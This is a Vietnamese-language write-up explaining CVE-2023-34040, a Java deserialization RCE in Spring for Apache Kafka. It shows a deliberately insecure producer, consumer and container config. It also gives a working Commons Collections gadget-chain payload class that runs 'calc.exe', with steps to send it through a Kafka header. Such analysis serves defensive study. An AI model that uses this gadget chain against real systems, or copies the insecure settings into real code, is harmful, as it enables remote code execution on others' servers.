CVE-2023-34040 Spring Kafka Deserialization Remote Code Execution
Spring Kafka deserialization vulnerability in VMware security bulletin.
Mô tả lỗ hổng:
Lỗ hổng này xảy ra khi ứng dụng sử dụng Spring for Apache Kafka không thực hiện việc kiểm tra và lọc đầu vào đúng cách trước khi tiến hành giải tuần tự dữ liệu từ Kafka.
Cụ thể, khi dữ liệu nhận được từ Kafka không đáng tin cậy hoặc chứa mã độc, quá trình giải tuần tự có thể kích hoạt việc thực thi mã không mong muốn trên hệ thống đích.
Nguyên nhân :
Lỗi này bắt nguồn từ việc sử dụng không an toàn thư viện Jackson (một thư viện phổ biến dùng để xử lý JSON trong Java) trong quá trình giải tuần tự dữ liệu.
Khi cấu hình không đúng, Jackson có thể giải tuần tự các lớp (class) không an toàn, tạo cơ hội cho kẻ tấn công gửi các đối tượng độc hại thông qua Kafka để thực thi mã từ xa.
Điều kiện khai thác lỗ hổng
Không cấu hình
ErrorHandlingDeserializer
cho khóa và/hoặc giá trị của bản ghi:Người dùng không cấu hình
ErrorHandlingDeserializer
, là cơ chế để xử lý lỗi trong quá trình giải tuần tự của các bản ghi Kafka.
Cấu hình thuộc tính container không an toàn:
Người dùng đã thiết lập rõ ràng các thuộc tính container
checkDeserExWhenKeyNull
và/hoặccheckDeserExWhenValueNull
thànhtrue
. Các thuộc tính này kiểm tra các lỗi giải tuần tự khi khóa hoặc giá trị của bản ghi lànull
.
Cho phép nguồn không tin cậy xuất bản tới một Kafka topic:
Người dùng cho phép các nguồn không đáng tin cậy gửi thông điệp tới một chủ đề Kafka (Kafka topic) mà không có các biện pháp xác thực hoặc bảo vệ thích hợp.
Note :
Mặc định, các thuộc tính
checkDeserExWhenKeyNull
vàcheckDeserExWhenValueNull
làfalse
, và container chỉ cố gắng giải tuần tự các tiêu đề nếuErrorHandlingDeserializer
được cấu hình.ErrorHandlingDeserializer
ngăn chặn lỗ hổng này bằng cách loại bỏ bất kỳ tiêu đề độc hại nào trước khi xử lý bản ghi.
Explain :
Source Code Review Producer không an toàn
Producer này gửi một thông điệp Kafka với các tiêu đề (header) được thêm vào từ các thông điệp được gửi tới endpoint /message/send
.
@RestController
public class KafkaProducer {
@Autowired
private KafkaTemplate<String, String> kafkaTemplate;
@PostMapping("/message/send")
public String sendMessage(@RequestBody KafkaMessage message) {
String topic = message.getTopic();
String data = message.getData();
HashMap<String, String> headers = message.getHeaders();
ProducerRecord<String, String> producerRecord = new ProducerRecord<>(topic, data);
for (String s : headers.keySet()) {
if (s.equals("springDeserializerExceptionKey")) {
String exceptData = headers.get(s);
byte[] exceptHandler = KafkaProducer.hexStringtoBytes(exceptData);
producerRecord.headers().add(s, exceptHandler);
continue;
}
producerRecord.headers().add(s, headers.get(s).getBytes());
}
kafkaTemplate.send(producerRecord);
String jsonString = "{\"code\":\"200\", \"status\":\"success\"}";
return jsonString;
}
private static byte[] hexStringtoBytes(String hexString) {
byte[] excepetionMessage = new byte[hexString.length() / 2];
for (int i = 0; i < excepetionMessage.length; i++) {
excepetionMessage[i] = (byte) Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16);
}
return excepetionMessage;
}
}
Source code Consumer không an toàn
@Service
public class KafkaConsumer {
@KafkaListener(topics = "my-topic", groupId = "my-group-id")
public void consume(String message) {
System.out.println("Received message: " + message);
}
}
Config Consumer không an toàn
@Configuration
@EnableKafka
public class KafkaConsumerConfig {
@Bean
public ConcurrentKafkaListenerContainerFactory<String, String> kafkaListenerContainerFactory() {
ConcurrentKafkaListenerContainerFactory<String, String> factory = new ConcurrentKafkaListenerContainerFactory<>();
// Follow CVE report
factory.getContainerProperties().setCheckDeserExWhenKeyNull(true);
factory.getContainerProperties().setCheckDeserExWhenValueNull(true);
return factory;
}
}
setCheckDeserExWhenKeyNull(true)
và setCheckDeserExWhenValueNull(true)
:
Khi cả hai thuộc tính này được đặt thành
true
, ứng dụng sẽ cố gắng serialize các header của thông điệp Kafka ngay cả khi khóa (key) hoặc giá trị (value) lànull
.Điều này tạo 1 path dẫn đến có thể attack deserialize dữ liệu độc hại, vì nó cho phép quá trình này xảy ra mà không có kiểm tra an toàn nào được thực hiện.
Ở đây , attacker có thể lợi dụng để đưa vào các đối tượng Java đã được tuần tự hóa (serialized Java objects) độc hại.
Payload :
package org.example.deserialization;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CustomExceptionClass extends Throwable {
static {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Map<String, String> innerMap = new HashMap<>();
innerMap.put("key", "value");
Map<String, String> outerMap = TransformedMap.decorate(
innerMap,
null,
new ChainedTransformer(transformers));
outerMap.put("topic", "test");
}
}
Quá trình
CustomExceptionClass
, với mục đích thực thi lệnh hệ thống khi nó được deserialize.Lớp này sử dụng gadget từ Apache Commons Collections để tạo chuỗi mã có thể thực thi khi được deserialize.
Deserialize
CustomExceptionClass
thành một chuỗi byte (byte stream) sử dụng cơ chế tuần tự hóa Java (Java serialization).
Gửi Payload Độc hại qua Kafka
Gửi Payload tới Kafka Topic:
Sử dụng một Kafka producer để gửi một thông điệp chứa payload độc hại tới một Kafka topic mà ứng dụng mục tiêu đang listen.
Thông điệp Kafka này bao gồm một header với khóa đặc biệt (
springDeserializerExceptionKey
) chứa dữ liệu đã tuần tự hóa của đối tượng độc hạiCustomExceptionClass
.
Ví dụ :
ProducerRecord<String, String> producerRecord = new ProducerRecord<>("my-topic", "malicious data");
byte[] serializedObject = ... // CustomExceptionClass
producerRecord.headers().add("springDeserializerExceptionKey", serializedObject); // Thêm payload độc hại vào tiêu đề (header)
// Send KafkaTemplate
kafkaTemplate.send(producerRecord);
Ứng dụng Kafka Consumer nhận và deserialize
Ứng dụng Kafka Consumer nhận thông điệp:
Ứng dụng consumer đã được cấu hình không an toàn nhận thông điệp từ Kafka topic. Vì không sử dụng
ErrorHandlingDeserializer
và bật các thuộc tính không an toàn (checkDeserExWhenKeyNull
vàcheckDeserExWhenValueNull
), ứng dụng sẽ cố gắng deserialize các tiêu đề của thông điệp.
Deserialize payload độc hại:
Consumer cố gắng giải tuần tự giá trị của header
springDeserializerExceptionKey
. Nếu header này chứa một đối tượng độc hại đã được tuần tự hóa nhưCustomExceptionClass
, quá trình deserialize sẽ bắt đầu.
Thực thi mã độc từ chuỗi gadget:
Trong quá trình giải tuần tự, khối mã tĩnh trong
CustomExceptionClass
được thực thi.Gadget CommonsCollections được kích hoạt, tạo ra chuỗi các lệnh để gọi
Runtime.getRuntime().exec("calc.exe")
, dẫn đến việc mở ứng dụng Calculator trên máy của nạn nhân.
Quá trình Payload Được Gửi Đi Đâu và Nhận Như Thế Nào?
Payload được gửi tới đâu? Payload độc hại được gửi tới một Kafka topic cụ thể mà ứng dụng mục tiêu đang lắng nghe. Ví dụ, nó có thể được gửi tới một topic tên là
"my-topic"
mà consumer đang lắng nghe:
javaCopy code@KafkaListener(topics = "my-topic", groupId = "my-group-id")
public void consume(String message) {
System.out.println("Received message: " + message);
}
Ai nhận payload? Ứng dụng Kafka consumer nhận payload thông qua một Kafka listener. Khi nhận được thông điệp, consumer sẽ kiểm tra các tiêu đề (header) của thông điệp để xử lý. Nếu consumer được cấu hình không đúng cách, quá trình giải tuần tự tiêu đề (header deserialization) sẽ dẫn đến việc thực thi mã độc.
Kết luận
Payload độc hại được gửi qua một Kafka producer đến một Kafka topic.
Consumer nhận thông điệp này và cố gắng giải tuần tự tiêu đề, dẫn đến việc thực thi mã từ xa (RCE) nếu cấu hình không an toàn.
Last updated